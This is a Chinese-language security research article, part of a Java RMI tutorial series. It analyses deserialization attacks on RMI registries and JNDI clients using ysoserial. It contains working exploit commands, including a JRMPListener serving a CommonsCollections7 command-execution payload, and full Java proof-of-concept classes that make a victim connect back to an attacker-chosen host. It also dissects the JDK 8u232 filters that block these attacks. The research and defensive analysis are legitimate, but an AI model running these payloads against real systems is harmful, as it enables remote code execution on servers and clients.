标题: Java RMI入门(8) 创建: 2020-04-14 16:57 更新: 2020-04-15 10:03 链接: https://scz.617.cn/network/202004141657.txt -------------------------------------------------------------------------- 目录: ☆ 前言 ☆ ysoserial.exploit.JRMPListener+ysoserial.payloads.JRMPClient 1) VulnerableClient.java 2) ysoserial.exploit.JRMPListener 2.1) 简化版调用关系(重点) 2.5) 客户端安全 3) VulnerableServer2.java 4) ysoserial.payloads.JRMPClient 4.1) 简化版调用关系 4.3) EvilClientWithRemoteObjectInvocationHandler.java 4.3.2) EvilRMIRegistryClientWithRemoteObjectInvocationHandler.java 4.3.3) 简化版调用关系 4.5) EvilRMIRegistryClientWithRMIConnectionImpl_Stub.java 5) 组合打常规RMI周知端口 5.1) sun.rmi.transport.DGCImpl_Stub.leaseFilter 5.1.1) 简化版调用关系(重点) 6) 8u232远程打1099/TCP彻底作废 6.1) 深入RegistryImpl.checkAccess() ☆ 参考资源 -------------------------------------------------------------------------- ☆ 前言 参看 《Java RMI入门》 https://scz.617.cn/network/202002221000.txt 《Java RMI入门(2)》 https://scz.617.cn/network/202003081810.txt 《Java RMI入门(3)》 https://scz.617.cn/network/202003121717.txt 《Java RMI入门(4)》 https://scz.617.cn/network/202003191728.txt 《Java RMI入门(5)》 https://scz.617.cn/network/202003241127.txt 《Java RMI入门(6)》 https://scz.617.cn/network/202004011650.txt 《Java RMI入门(7)》 https://scz.617.cn/network/202004101018.txt 《Java RMI入门(9)》 https://scz.617.cn/network/202004161823.txt ShadowGlin反馈说他调试过8u141,远程打1099/TCP就已经彻底作废。这不冲突,我 没有去回溯版本,写的是充分非必要条件,只以手头版本做测试而已。 ☆ ysoserial.exploit.JRMPListener+ysoserial.payloads.JRMPClient ysoserial.payloads.JRMPClient会产生一种序列化数据,当存在漏洞的目标反序列 化它们时,会主动连接攻击者指定的目标IP、目标端口,扮演"DGC Client"的角色。 ysoserial.exploit.JRMPListener会侦听在指定端口上,扮演恶意"DGC Server"或恶 意"RMI Registry Server"的角色。当"DGC Client"或"RMI Registry Client"来访问 它时,向客户端返回恶意Object的序列化数据,以此攻击客户端。 ysoserial.exploit.JRMPListener的地位相当于RMI周知端口,对于JNDI注入场景, 这也是一种攻击途径。 参看: 《Java RMI入门(3)》 https://scz.617.cn/network/202003121717.txt 这篇用到的EvilServer3.java其地位相当于RMI动态端口,只不过是恶意的,以此攻 击JNDI客户端。可以换用ysoserial.exploit.JRMPListener攻击JNDI客户端。 1) VulnerableClient.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g VulnerableClient.java */ import javax.naming.*; public class VulnerableClient { public static void main ( String[] argv ) throws Exception { String name = argv[0]; Context ctx = new InitialContext(); ctx.lookup( name ); } } -------------------------------------------------------------------------- 2) ysoserial.exploit.JRMPListener 参[52] https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java 假设目录结构是: . | +---test2 | ysoserial-0.0.6-SNAPSHOT-all.jar | \---test3 VulnerableClient.class commons-collections-3.1.jar 在test2目录执行: java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPListener 1414 \ CommonsCollections7 "/bin/touch /tmp/scz_is_here" 在test3目录执行: java \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.rmi.registry.RegistryContextFactory \ -Djava.naming.provider.url=rmi://192.168.65.23:1414 \ VulnerableClient any 客户端虽然抛出异常,但来自恶意服务端的恶意代码已被执行。 2.1) 简化版调用关系(重点) 这是受害者一侧的简化版调用关系。JNDI不是重点,下面直接从RegistryImpl_Stub 开始。 参看: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/registry/RegistryImpl_Stub.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/UnicastRef.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/StreamRemoteCall.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/TransportConstants.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/ConnectionInputStream.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/rmi/server/UID.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/LiveRef.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/rmi/server/ObjID.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/tcp/TCPChannel.java -------------------------------------------------------------------------- RegistryImpl_Stub.lookup // 8u232 UnicastRef.newCall // RegistryImpl_Stub:116 // 发送请求 StreamRemoteCall.getOutputStream // RegistryImpl_Stub:118 // 准备好ConnectionOutputStream,后面都是序列化写 out.writeObject($param_String_1) // RegistryImpl_Stub:119 // 序列化写"any" UnicastRef.invoke // RegistryImpl_Stub:123 // invoke(RemoteCall call) // 这下面都是读响应数据 StreamRemoteCall.executeCall // UnicastRef:375 op = rd.readByte() // StreamRemoteCall:240 // TCP层的裸读,读TransportConstants.Return/0x51 // 读TransportConstants.Return/0x51 StreamRemoteCall.getInputStream // StreamRemoteCall:248 // 准备好ConnectionInputStream,后面都是反序列化读 in.readByte() // StreamRemoteCall:249 // 读TransportConstants.ExceptionalReturn/2 ConnectionInputStream.readID // StreamRemoteCall:250 // in.readID() // id for DGC acknowledgement UID.read // ConnectionInputStream:60 // ackID = UID.read((DataInput) this); // 依次读0、0、0 unique = in.readInt() // UID:264 time = in.readLong() // UID:265 count = in.readShort() // UID:266 ObjectInputStream.readObject // StreamRemoteCall:270 BadAttributeValueExpException.readObject Hashtable.readObject // ysoserial/CommonsCollections7 Hashtable.reconstitutionPut AbstractMapDecorator.equals AbstractMap.equals LazyMap.get // 此处开始LazyMap利用链 ChainedTransformer.transform InvokerTransformer.transform Runtime.exec -------------------------------------------------------------------------- ysoserial.exploit.JRMPListener用BadAttributeValueExpException封装恶意 Object,实无必要,受害者一侧对此无限制,可以返回任意Object。 2.5) 客户端安全 对客户端使用: -Djava.security.manager \ -Djava.security.policy=some.policy \ some.policy需要精心定制,以确保正常功能可用,又能缓解来自恶意服务端的威胁。 即使用了.policy也不保险。 3) VulnerableServer2.java 参看: 《Java RMI入门(7)》 https://scz.617.cn/network/202004101018.txt 复用其中的VulnerableServer2.java。 4) ysoserial.payloads.JRMPClient 参[52] https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/JRMPClient.java nc -l -p 1099 | xxd -g 1 java VulnerableServer2 192.168.65.23 1414 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "192.168.65.23:1099" | nc -n 192.168.65.23 1414 Ctrl-C中止VulnerableServer2,第一个nc处将收到: 0000000: 4a 52 4d 49 00 02 4b JRMI..K 这个测试方案不完整,主要是演示ysoserial.payloads.JRMPClient的地位。当受害 者(VulnerableServer2)进行反序列化操作时,会触发一些向指定IP、指定端口的RMI 通信。 4.1) 简化版调用关系 参看: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/rmi/server/RemoteObject.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/UnicastRef.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/LiveRef.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/DGCClient.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/DGCImpl_Stub.java -------------------------------------------------------------------------- ObjectInputStream.readObject // 8u232 RemoteObject.readObject UnicastRef.readExternal // RemoteObject:455 LiveRef.read // UnicastRef:489 if (in instanceof ConnectionInputStream) // LiveRef:301 // 输入流不是ConnectionInputStream时才会去312行 DGCClient.registerRefs // LiveRef:312 DGCClient$EndpointEntry.registerRefs // DGCClient:160 DGCClient$EndpointEntry.makeDirtyCall // DGCClient:324 DGCImpl_Stub.dirty // DGCClient:382 UnicastRef.newCall // DGCImpl_Stub:102 // 发送请求 // 这次不是RegistryImpl_Stub UnicastRef.invoke // DGCImpl_Stub:113 // invoke(RemoteCall call) // 这下面都是读响应数据 // 一旦至此,就会遭受来自恶意服务端的攻击 StreamRemoteCall.executeCall // UnicastRef:375 -------------------------------------------------------------------------- 4.3) EvilClientWithRemoteObjectInvocationHandler.java 对应ysoserial.payloads.JRMPClient -------------------------------------------------------------------------- /* * javac -encoding GBK -g -XDignore.symbol.file EvilClientWithRemoteObjectInvocationHandler.java * java EvilClientWithRemoteObjectInvocationHandler 192.168.65.23 1414 192.168.65.23 1314 */ import java.io.*; import java.util.Random; import java.net.Socket; import java.lang.reflect.Proxy; import java.rmi.server.ObjID; import sun.rmi.transport.tcp.TCPEndpoint; import sun.rmi.transport.LiveRef; import sun.rmi.server.UnicastRef; import java.rmi.server.RemoteObjectInvocationHandler; import java.rmi.registry.Registry; public class EvilClientWithRemoteObjectInvocationHandler { public static Object getObject ( String addr, int port ) throws Exception { /* * UID、UnicastRef、Remote在 * sun.rmi.registry.RegistryImpl.registryFilter()的白名单里 */ int i = new Random().nextInt(); ObjID oid = new ObjID( i ); TCPEndpoint te = new TCPEndpoint( addr, port ); LiveRef lr = new LiveRef( oid, te, false ); UnicastRef ur = new UnicastRef( lr ); /* * public class RemoteObjectInvocationHandler extends RemoteObject implements InvocationHandler */ RemoteObjectInvocationHandler roih = new RemoteObjectInvocationHandler( ur ); /* * public abstract interface Registry extends Remote */ Registry registryProxy = ( Registry )Proxy.newProxyInstance ( Registry.class.getClassLoader(), new Class[] { Registry.class }, roih ); return( registryProxy ); } public static void main ( String[] argv ) throws Exception { String addr = argv[0]; int port = Integer.parseInt( argv[1] ); /* * 攻击得手后主动去访问的目标IP、目标端口 */ String newaddr = argv[2]; int newport = Integer.parseInt( argv[3] ); Object obj = getObject( newaddr, newport ); Socket s_connect = new Socket( addr, port ); ObjectOutputStream oos = new ObjectOutputStream( s_connect.getOutputStream() ); oos.writeObject( obj ); oos.close(); s_connect.close(); } } -------------------------------------------------------------------------- nc -l -p 1314 | xxd -g 1 java VulnerableServer2 192.168.65.23 1099 java EvilClientWithRemoteObjectInvocationHandler 192.168.65.23 1099 192.168.65.23 1314 Ctrl-C中止VulnerableServer2 4.3.2) EvilRMIRegistryClientWithRemoteObjectInvocationHandler.java 本例虽然用了RemoteObjectInvocationHandler,但不是当成动态代理机制中的 InvocationHandler用的,仅仅是当成Remote实例用。 -------------------------------------------------------------------------- /* * javac -encoding GBK -g -XDignore.symbol.file EvilRMIRegistryClientWithRemoteObjectInvocationHandler.java * java EvilRMIRegistryClientWithRemoteObjectInvocationHandler 192.168.65.23 1099 192.168.65.23 1314 */ import java.io.*; import java.util.Random; import java.net.Socket; import java.rmi.Remote; import java.rmi.registry.*; import java.rmi.server.ObjID; import sun.rmi.transport.tcp.TCPEndpoint; import sun.rmi.transport.LiveRef; import sun.rmi.server.UnicastRef; import java.rmi.server.RemoteObjectInvocationHandler; public class EvilRMIRegistryClientWithRemoteObjectInvocationHandler { public static Object getObject ( String addr, int port ) throws Exception { int i = new Random().nextInt(); ObjID oid = new ObjID( i ); TCPEndpoint te = new TCPEndpoint( addr, port ); LiveRef lr = new LiveRef( oid, te, false ); UnicastRef ur = new UnicastRef( lr ); RemoteObjectInvocationHandler roih = new RemoteObjectInvocationHandler( ur ); /* * 不需要引入动态代理机制 */ return( roih ); } public static void main ( String[] argv ) throws Exception { String addr = argv[0]; int port = Integer.parseInt( argv[1] ); /* * 攻击得手后主动去访问的目标IP、目标端口 */ String newaddr = argv[2]; int newport = Integer.parseInt( argv[3] ); Remote obj = ( Remote )getObject( newaddr, newport ); Registry r = LocateRegistry.getRegistry( addr, port ); /* * 这个操作对客户端来说极其危险,务必不要用本例去野战。 */ r.rebind( "any", obj ); } } -------------------------------------------------------------------------- 参看: 《Java RMI入门(6)》 https://scz.617.cn/network/202004011650.txt 复用其中的RMIRegistryServer.java。 nc -l -p 1314 | xxd -g 1 java \ -cp "commons-collections-3.1.jar:." \ RMIRegistryServer 1099 java EvilRMIRegistryClientWithRemoteObjectInvocationHandler 192.168.65.23 1099 192.168.65.23 1314 Ctrl-C中止RMIRegistryServer 4.3.3) 简化版调用关系 -------------------------------------------------------------------------- TCPTransport.handleMessages // 8u232 Transport.serviceCall // TCPTransport:573 UnicastServerRef.dispatch // Transport:200 UnicastServerRef.oldDispatch // UnicastServerRef:301 RegistryImpl_Skel.dispatch // UnicastServerRef:469 RegistryImpl.checkAccess // RegistryImpl_Skel:142 // 前置检查rebind()源IP,不允许远程绑定,这才是大盾 ObjectInputStream.readObject // RegistryImpl_Skel:148 // 读"any",用YouDebug可以搞 ObjectInputStream.readObject // RegistryImpl_Skel:149 // 读Remote实例 // 这个操作不能直接触发恶意行为 RemoteObject.readObject // RemoteObjectInvocationHandler是RemoteObject的子类 UnicastRef.readExternal // RemoteObject:455 LiveRef.read // UnicastRef:489 if (in instanceof ConnectionInputStream) // LiveRef:301 // 输入流是ConnectionInputStream,不会去"LiveRef:312" ConnectionInputStream.saveRef // LiveRef:305 // 恶意服务端地址在此被保存,后面会用到 // 这导致VulnerableServer2中的流程与真实1099/TCP的流程不同 StreamRemoteCall.releaseInputStream // RegistryImpl_Skel:154 // 这个操作触发恶意行为 ConnectionInputStream.registerRefs // StreamRemoteCall:175 DGCClient.registerRefs // ConnectionInputStream:102 DGCClient$EndpointEntry.registerRefs // DGCClient:160 DGCClient$EndpointEntry.makeDirtyCall // DGCClient:324 DGCImpl_Stub.dirty // DGCClient:382 UnicastRef.newCall // DGCImpl_Stub:102 // 发送请求 UnicastRef.invoke // DGCImpl_Stub:113 // invoke(RemoteCall call) // 这下面都是读响应数据 -------------------------------------------------------------------------- 4.5) EvilRMIRegistryClientWithRMIConnectionImpl_Stub.java 参[65],作者找到: javax.management.remote.rmi.RMIConnectionImpl_Stub -------------------------------------------------------------------------- /* * javac -encoding GBK -g -XDignore.symbol.file EvilRMIRegistryClientWithRMIConnectionImpl_Stub.java * java EvilRMIRegistryClientWithRMIConnectionImpl_Stub 192.168.65.23 1099 192.168.65.23 1314 */ import java.io.*; import java.util.Random; import java.net.Socket; import java.rmi.Remote; import javax.management.remote.rmi.RMIConnectionImpl_Stub; import java.rmi.registry.*; import java.rmi.server.ObjID; import sun.rmi.transport.tcp.TCPEndpoint; import sun.rmi.transport.LiveRef; import sun.rmi.server.UnicastRef; public class EvilRMIRegistryClientWithRMIConnectionImpl_Stub { public static Object getObject ( String addr, int port ) throws Exception { int i = new Random().nextInt(); ObjID oid = new ObjID( i ); TCPEndpoint te = new TCPEndpoint( addr, port ); LiveRef lr = new LiveRef( oid, te, false ); UnicastRef ur = new UnicastRef( lr ); RMIConnectionImpl_Stub remote = new RMIConnectionImpl_Stub( ur ); return( remote ); } public static void main ( String[] argv ) throws Exception { String addr = argv[0]; int port = Integer.parseInt( argv[1] ); /* * 攻击得手后主动去访问的目标IP、目标端口 */ String newaddr = argv[2]; int newport = Integer.parseInt( argv[3] ); Remote obj = ( Remote )getObject( newaddr, newport ); Registry r = LocateRegistry.getRegistry( addr, port ); /* * 这个操作对客户端来说极其危险,务必不要用本例去野战。 */ r.rebind( "any", obj ); } } -------------------------------------------------------------------------- [65]的作者还提到java.rmi.server.RemoteObject.ref是transient的,他认为无法 有效利用该成员变量。看了一下,应该有其他办法对之有效利用,但由于8u232的前 置源IP检查堵死了远程绑定,不想浪费时间写PoC,备忘。 [66]的作者又找到: sun.rmi.transport.DGCImpl_Stub javax.management.remote.rmi.RMIServerImpl_Stub sun.rmi.registry.RegistryImpl_Stub com.sun.jndi.rmi.registry.ReferenceWrapper_Stub 5) 组合打常规RMI周知端口 假设目录结构是: . | +---test1 | RMIRegistryServer.class | +---test2 | ysoserial-0.0.6-SNAPSHOT-all.jar | \---test3 EvilRMIRegistryClientWithRemoteObjectInvocationHandler.class EvilRMIRegistryClientWithRMIConnectionImpl_Stub.class ysoserial-0.0.6-SNAPSHOT-all.jar 在test1目录执行: java_8_40 \ -cp "commons-collections-3.1.jar:." \ RMIRegistryServer 1099 在test2目录执行: java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPListener 1314 \ CommonsCollections7 "/bin/touch /tmp/scz_is_here_from_server_3" 在test3目录执行(任选其一): java \ EvilRMIRegistryClientWithRemoteObjectInvocationHandler 192.168.65.23 1099 \ 192.168.65.23 1314 java \ EvilRMIRegistryClientWithRMIConnectionImpl_Stub 192.168.65.23 1099 \ 192.168.65.23 1314 java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.RMIRegistryExploit 192.168.65.23 1099 JRMPClient \ "192.168.65.23:1314" 5.1) sun.rmi.transport.DGCImpl_Stub.leaseFilter 为什么EvilRMIRegistryClientWithRemoteObjectInvocationHandler打8u232失败? 5.1.1) 简化版调用关系(重点) 参看: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/io/ObjectInputStream.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/DGCImpl_Stub.java -------------------------------------------------------------------------- TCPTransport.handleMessages // 8u232 Transport.serviceCall // TCPTransport:573 UnicastServerRef.dispatch // Transport:200 UnicastServerRef.oldDispatch // UnicastServerRef:301 RegistryImpl_Skel.dispatch // UnicastServerRef:469 RegistryImpl.checkAccess // RegistryImpl_Skel:142 // 前置检查rebind()源IP,不允许远程绑定,这才是大盾 RemoteServer.getClientHost // RegistryImpl:307 TCPTransport.getClientHost // RemoteServer:77 TCPTransport$ConnectionHandler.getClientHost // TCPTransport:616 return remoteHost; // TCPTransport:648 // 返回TCP层的源IP ObjectInputStream.readObject // RegistryImpl_Skel:148 // 读"any",用YouDebug可以搞 ObjectInputStream.readObject // RegistryImpl_Skel:149 // 读Remote实例 // 这个操作不能直接触发恶意行为 RemoteObject.readObject // RemoteObjectInvocationHandler是RemoteObject的子类 UnicastRef.readExternal // RemoteObject:455 LiveRef.read // UnicastRef:489 if (in instanceof ConnectionInputStream) // LiveRef:301 // 输入流是ConnectionInputStream,不会去"LiveRef:312" ConnectionInputStream.saveRef // LiveRef:305 // 恶意服务端地址在此被保存,后面会用到 // 这导致VulnerableServer2中的流程与真实1099/TCP的流程不同 StreamRemoteCall.releaseInputStream // RegistryImpl_Skel:154 // 这个操作触发恶意行为 ConnectionInputStream.registerRefs // StreamRemoteCall:175 DGCClient.registerRefs // ConnectionInputStream:102 DGCClient$EndpointEntry.registerRefs // DGCClient:160 DGCClient$EndpointEntry.makeDirtyCall // DGCClient:324 DGCImpl_Stub.dirty // DGCClient:382 UnicastRef.newCall // DGCImpl_Stub:102 // 发送请求 UnicastRef.invoke // DGCImpl_Stub:113 // invoke(RemoteCall call) // 这下面都是读响应数据 StreamRemoteCall.executeCall // UnicastRef:375 ObjectInputStream.readObject // StreamRemoteCall:270 ObjectInputStream.readObject0 // ObjectInputStream:430 ObjectInputStream.readOrdinaryObject // ObjectInputStream:1572 ObjectInputStream.readClassDesc // ObjectInputStream:2041 ObjectInputStream.readNonProxyDesc // ObjectInputStream:1750 ObjectInputStream.filterCheck // ObjectInputStream:1877 DGCImpl_Stub.leaseFilter // DGCImpl_Stub:172 // 恶意Object无法通过白名单检查,返回REJECTED -------------------------------------------------------------------------- 6) 8u232远程打1099/TCP彻底作废 sun.rmi.registry.RegistryImpl.registryFilter()中有张白名单: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/registry/RegistryImpl.java -------------------------------------------------------------------------- /* * 427行,白名单检查 */ if (String.class == clazz || java.lang.Number.class.isAssignableFrom(clazz) || Remote.class.isAssignableFrom(clazz) || java.lang.reflect.Proxy.class.isAssignableFrom(clazz) || UnicastRef.class.isAssignableFrom(clazz) || RMIClientSocketFactory.class.isAssignableFrom(clazz) || RMIServerSocketFactory.class.isAssignableFrom(clazz) || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz) || java.rmi.server.UID.class.isAssignableFrom(clazz)) { return ObjectInputFilter.Status.ALLOWED; } else { return ObjectInputFilter.Status.REJECTED; } -------------------------------------------------------------------------- ysoserial.payloads.JRMPClient可以绕过此处的白名单检查。但这个绕过对8u232而 言是黄梁一梦,因为RegistryImpl_Skel.dispatch()在反序列化恶意数据之前会调用 RegistryImpl.checkAccess()前置检查rebind()等操作的源IP,不允许远程绑定,这 才是顶级大盾,甩过滤器十八条长安街。 假设RMI服务端、客户端在同一主机,或者有什么代理转发机制解决源IP检查,此时 可以利用Remote、UnicastRef绕过前述427行白名单检查。受害者变身"DGC Client" 去访问恶意"DGC Server",后者向前者返回恶意Object,前者在反序列化恶意Object 时要面临sun.rmi.transport.DGCImpl_Stub.leaseFilter()中的白名单检查: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/DGCImpl_Stub.java -------------------------------------------------------------------------- /* * 172行,java.util.Hashtable无法通过这个白名单检查,返回REJECTED */ return (clazz == UID.class || clazz == VMID.class || clazz == Lease.class || (Throwable.class.isAssignableFrom(clazz) && clazz.getClassLoader() == Object.class.getClassLoader()) || clazz == StackTraceElement.class || clazz == ArrayList.class || // for suppressed exceptions, if any clazz == Object.class || clazz.getName().equals("java.util.Collections$UnmodifiableList") || clazz.getName().equals("java.util.Collections$UnmodifiableCollection") || clazz.getName().equals("java.util.Collections$UnmodifiableRandomAccessList")) ? ObjectInputFilter.Status.ALLOWED : ObjectInputFilter.Status.REJECTED; -------------------------------------------------------------------------- 目前已知payload均无法绕过前述172行白名单检查。 假设用ysoserial.exploit.JRMPClient打1099/TCP,因为是DGC操作,此时服务端不 涉及RegistryImpl.checkAccess()。但是,服务端在反序列化恶意Object时要面临 sun.rmi.transport.DGCImpl.checkInput()中的白名单检查: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/DGCImpl.java -------------------------------------------------------------------------- /* * 409行,java.util.Hashtable无法通过这个白名单检查,返回REJECTED */ return (clazz == ObjID.class || clazz == UID.class || clazz == VMID.class || clazz == Lease.class) ? ObjectInputFilter.Status.ALLOWED : ObjectInputFilter.Status.REJECTED; -------------------------------------------------------------------------- 这张白名单更狠,恶意Object完全无法绕过其检查。 结论就是,8u232远程打1099/TCP彻底作废,陪低版本Java玩玩还可以。 6.1) 深入RegistryImpl.checkAccess() RegistryImpl.checkAccess()所检查的源IP来自TCP层套接字操作,不是RMI通信报文 中的字段,无法伪造。 简化版调用关系: -------------------------------------------------------------------------- TCPTransport$AcceptLoop.run // 8u232 TCPTransport$AcceptLoop.executeAcceptLoop // TCPTransport:377 socket = serverSocket.accept() // TCPTransport:405 // 等待入连接 clientAddr = socket.getInetAddress() // TCPTransport:410 // 取TCP连接的源IP TCPTransport$ConnectionHandler. // TCPTransport:420 this.remoteHost = remoteHost; // TCPTransport:642 // 保存源IP,将来RegistryImpl.checkAccess()检查它 -------------------------------------------------------------------------- http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/registry/RegistryImpl.java -------------------------------------------------------------------------- /* * sun.rmi.registry.RegistryImpl.checkAccess */ /** * Check that the caller has access to perform indicated operation. * The client must be on same the same host as this server. */ public static void checkAccess(String op) throws AccessException { try { /* * 307行,返回源IP */ /* * Get client host that this registry operation was made from. */ final String clientHostName = getClientHost(); InetAddress clientHost; ... // if client not yet seen, make sure client allowed access if (allowedAccessCache.get(clientHost) == null) { if (clientHost.isAnyLocalAddress()) { throw new AccessException( op + " disallowed; origin unknown"); } try { final InetAddress finalClientHost = clientHost; java.security.AccessController.doPrivileged( new java.security.PrivilegedExceptionAction() { public Void run() throws java.io.IOException { /* * 341行,通过TCP层的bind()操作检查源IP是否是本机IP之一,无法绕过 */ /* * if a ServerSocket can be bound to the client's * address then that address must be local */ (new ServerSocket(0, 10, finalClientHost)).close(); allowedAccessCache.put(finalClientHost, finalClientHost); return null; } }); } catch (PrivilegedActionException pae) { ... } -------------------------------------------------------------------------- http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/tcp/TCPTransport.java -------------------------------------------------------------------------- /* * sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop */ /** * Accepts connections from the server socket and executes * handlers for them in the thread pool. **/ private void executeAcceptLoop() { if (tcpLog.isLoggable(Log.BRIEF)) { tcpLog.log(Log.BRIEF, "listening on port " + getEndpoint().getPort()); } while (true) { Socket socket = null; try { /* * 405行 */ socket = serverSocket.accept(); /* * 410行,clientAddr来自TCP层套接字操作,不是RMI通信报文中的字段 */ /* * Find client host name (or "0.0.0.0" if unknown) */ InetAddress clientAddr = socket.getInetAddress(); /* * 411行,获取clientHost */ String clientHost = (clientAddr != null ? clientAddr.getHostAddress() : "0.0.0.0"); /* * Execute connection handler in the thread pool, * which uses non-system threads. */ try { connectionThreadPool.execute( /* * 420行,保存clientHost */ new ConnectionHandler(socket, clientHost)); } catch (RejectedExecutionException e) { ... } -------------------------------------------------------------------------- /* * sun.rmi.transport.tcp.TCPTransport$ConnectionHandler. * * 642行 */ ConnectionHandler(Socket socket, String remoteHost) { this.socket = socket; /* * 保存clientHost */ this.remoteHost = remoteHost; } -------------------------------------------------------------------------- /* * sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.getClientHost * * 648行 */ String getClientHost() { /* * 获取clientHost */ return remoteHost; } -------------------------------------------------------------------------- ☆ 参考资源 [52] ysoserial https://github.com/frohoff/ysoserial/ https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar (A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization) (可以自己编译,不需要下这个jar包) git clone https://github.com/frohoff/ysoserial.git [65] 一次攻击内网rmi服务的深思 - bsmali4 [2018-09-20] http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/ [66] 浅谈Java RMI Registry反序列化安全问题 - [2020-02-06] http://blog.0kami.cn/2020/02/06/rmi-registry-security-problem/